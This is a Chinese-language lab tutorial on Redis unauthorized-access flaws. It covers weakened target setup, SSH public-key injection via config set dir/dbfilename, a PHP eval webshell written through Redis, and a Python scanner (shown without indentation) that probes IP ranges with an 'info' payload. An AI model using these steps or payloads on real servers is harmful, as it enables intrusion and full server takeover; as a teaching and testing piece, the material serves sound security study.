目录
未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露
常见的未授权漏洞:
Redis 未授权访问漏洞
MongoDB 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
宝塔 未授权访问漏洞
FTP 未授权访问漏洞
WordPress 未授权访问漏洞
Docker 未授权访问漏洞
ZooKeeper 未授权访问漏洞
CouchDB 未授权访问漏洞
Hadoop 未授权访问漏洞
Redis未授权访问漏洞原理
Redis在默认安装情况下,默认端口为6379,没有添加过防火墙信任规则,修改默认端口等防护策略,这相当于直接将 Redis服务暴露到公网上,如果设置密码认证(默认为空)的情况,会导致任意用户都可访问目标服务器--即Redis未授权访问,以及读取Redis的数据,攻击者可以在这个条件下,如果Redis是以root身份运行,利用root权限的身份写入ssh公钥,通过ssh登录目标服务器,写入webshell,拿到控制权
环境配置:CentOS下安装Redis
(1)下载官网3.2.11版本压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
(2)解压缩压缩包
tar zxvf redis-3.2.11.tar.gz
(3)进入redis-3.2.11文件夹
cd redis-3.2.11
(4)执行make(这个过程可能需要一段时间),有些人会在这一步报错,如果报错原因是找不到cc命令,yum安装一下即可(命令:yum -y install gcc),不过CenOS7不自带yum,这个也得自己安装一下
make
(5)make test
等待上一步完成后,运行make test,根据回显进行debug,可能会报tcl的错误,如【You need tcl 8.5 or newer in order to run the Redis test】,如果你没有报这个就跳过,解决办法:【yum install tcl】
一直make test,直到出现如下图所示,即代表安装所需所有环境都正确
(6)配置修改
进入src目录
cd src
cp redis-server /usr/bin
cp redis.conf /etc
编辑在etc目录中的redis.conf文件
在bind 127.0.0.1前面加#,去除对localhost的绑定
继续往下,找到protected-mode no,如果你的protected-mode后的参数为yes,请改为no,这个步骤将会关闭保护模式,防止下面kali在info时报错
(7)在靶机中开启redis服务 redis-server /etc/redis.conf(下面的报错我是忽略了的,原因是关系不大)
(8)安装openssh和apache2
yum install openssh-server apache2 -y
(9)在root目录下创建一个用于存放ssh公钥的目录,可以尝试给它一个777的权限(chmod 777 /root/.ssh)
mkdir /root/.ssh
(10)以防万一你可以关闭CenOS的防火墙
【查看防火状态:systemctl status firewalld】
【暂时关闭防火墙:systemctl stop firewalld】
【永久关闭防火墙:systemctl disable firewalld】
至此Redis配置完成
手工未授权访问验证
(1)在kali上安装redis(无需修改配置,不同版本kali自带redis)
sudo apt install redis-server -y
(2)在安装Redis服务后输入redis -cli -h IP,如果目标存在此未授权访问漏洞,则连接成功
redis-cli -h 192.168.200.131
如果你redis-cli -h 192.168.200.131后出现端口无法连接或者被拒绝这种情况,你可以尝试一下把防火墙关闭了
(3)输入info查看Redis服务版本号,配置文件目录,进程ID号等等
如果你报了DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients.......这样的一个错误,你可以去靶机上检查一下是否配置protected-mode为no(上面有写),因为现在处于保护阶段
利用方式
(1)在攻击机中生成ssh公钥和私钥,密码设置为空(为空就是在生成公钥和私钥的过程中回车即可)
ssh-keygen -t rsa
(2)进入目录生成文件
进入kali的/root/.ssh目录
将公钥导入111.txt文件中
(3)将111.txt公钥导入至Redis缓存中
(4)使用 config get dir 命令的得到redis备份的路径
(5)更改Redis备份路径为ssh公钥存放目录(一般默认是/root/.ssh)
设置上传公钥的备份文件名字为 authorized_keys
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存退出,成功写入ssh公钥到靶机
(6)输入save,后,你可以exit退出
在攻击机中使用ssh免密登陆靶机
如果你遇到了【Warning: Identity file id_rsa not accessible: No such file or directory. root@192.168.200.131's password: Permission denied, please try again.】这个问题
(1)你可以检查authorized_keys文件权限,设置为777
chmod 700 authorized_keys
(2)检查/etc/ssh/sshd_config
将#StrictModes yes
设置为StrictModes no
将#AuthorizedKeysFile .ssh/authorized_keys
设置为AuthorizedKeysFile .ssh/authorized_keys
(3)检查下防火墙和selinux状态
/usr/sbin/sestatus -v
systemctl status firewalld
(4)如果你还是没有成功,你可以去看一下在/root/.ssh下是否真的存在authorized_keys这个文件,包括它的权限
利用漏洞写入webshell
连接上redis后在卡kali输入以下命令:
192.168.200.131:6379> config set dir /root/.ssh
OK
192.168.200.131:6379> config set dbfilename ganyu.php
OK
192.168.200.131:6379> set x "\n\n\n<?php @eval($_POST['ganyu']);?>\n\n\n"
OK
192.168.200.131:6379> save
OK
192.168.200.131:6379>
上传成功,如果上传至服务器拿控制权的话,那么像蚁剑菜刀连接一句话那样连接就行了,这里由于我的ConOS没有配置完全,就无法演示了(有人懒,但我不说是谁)
编写脚本检测
如何验证该漏洞,或者如何发送info?
import getopt
import socket
import sys
def url_list(li):
ss = []
i = 0
j = 0
zi = []
for s in li:
a = s.find('-')
i = i + 1
if a != -1:
ss = s.rsplit("-")
j = i
break
for s in range(int(ss[0]), int(ss[1]) + 1):
li[j - 1] = str(s)
aa = '.'.join(li)
zi.append(aa)
return zi
def url_exec(url):
i = 0
zi = []
group = []
group1 = []
group2 = []
li = url.split('.')
if (url.find('-') == -1):
group.append(url)
zi = group
else:
for s in li:
a = s.find('-')
if a != -1:
i = i + 1
zi = url_list(li)
if i > 1:
for li in zi:
zz = url_list(li.split('.'))
for ki in zz:
group.append(ki)
zi = group
i = i - 1
if i > 1:
for li in zi:
zzz = url_list(li.split('.'))
for ki in zzz:
group1.append(ki)
zi = group1
i = i - 1
if i > 1:
for li in zi:
zzzz = url_list(li.split('.'))
for ki in zzzz:
group2.append(ki)
zi = group2
return zi
def output_exec(output, type):
print(output[0] + ':' + type)
banner()
def redis_unathored(url, port):
result = []
s = socket.socket()
# 如何发送info命令确定是否存在这个漏洞?--> info --> b'*1\r\n$4\r\ninfo\r\n'
# Redis允许客户端以TCP方式连接,默认6379端口,传输数据都以\r\n结尾和间隔
'''
请求格式
*<number of arguments>\r\n$<number of bytes of argument 1>\r\n<argument data>\r\n
数据交互:
*1
$4
info
'''
payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"
socket.setdefaulttimeout(0) # 设置默认超时时间
for ip in url:
try:
s.connect((ip, int(port)))
# 发送完整的TCP数据,成功返回None,失败pass
s.sendall(payload.encode())
# 接收目标主机返回的数info,当返回的数据带有'redis version'时,表明存在该漏洞,其实不一定是redis version,随便什么特征都行
recvdata = s.recv(1024).decode()
if recvdata and 'redis_version' in recvdata:
result.append(str(ip) + ':' + str(port) + ':' + 'Existence √')
except:
pass
result.append(str(ip) + ':' + str(port) + ':' + 'Existence X')
s.close()
return result
def Scan(url, type, port):
if type == 'Redis':
print(url)
output = redis_unathored(url_exec(url), port)
output_exec(output, type)
def banner():
print('*' * 30)
def serverhelp():
print('-h --help help')
print('-p --port 端口')
print('-u --url IP、域名')
print('-s --type Redis')
sys.exit()
# 利用getopt.getopt()函数处理用户输入的命令,将ip端口服务传入Scan
def Redisstart(argv):
url = ""
type = ""
if len(sys.argv) < 2:
print("-h 查看帮助信息 \n")
sys.exit()
try:
opts, args = getopt.getopt(argv, "-u:-p:-s:-h")
except getopt.GetoptError:
print('Error')
sys.exit()
for opt, arg in opts:
if opt == '-u':
url = arg
elif opt == '-s':
type = arg
elif opt == '-p':
port = arg
elif opt == '-h':
print(serverhelp())
Scan(url, type, port)
if __name__ == '__main__':
try:
Redisstart(sys.argv[1:]) # 接收用户输入的命令,[1:]表示从第一个命令行参数到最后一个命令行参数
# ['-u', '192.168.200.131', '-p', '6379', '-s', 'Redis']
except KeyboardInterrupt:
print('interrupted by user, killing all threads...')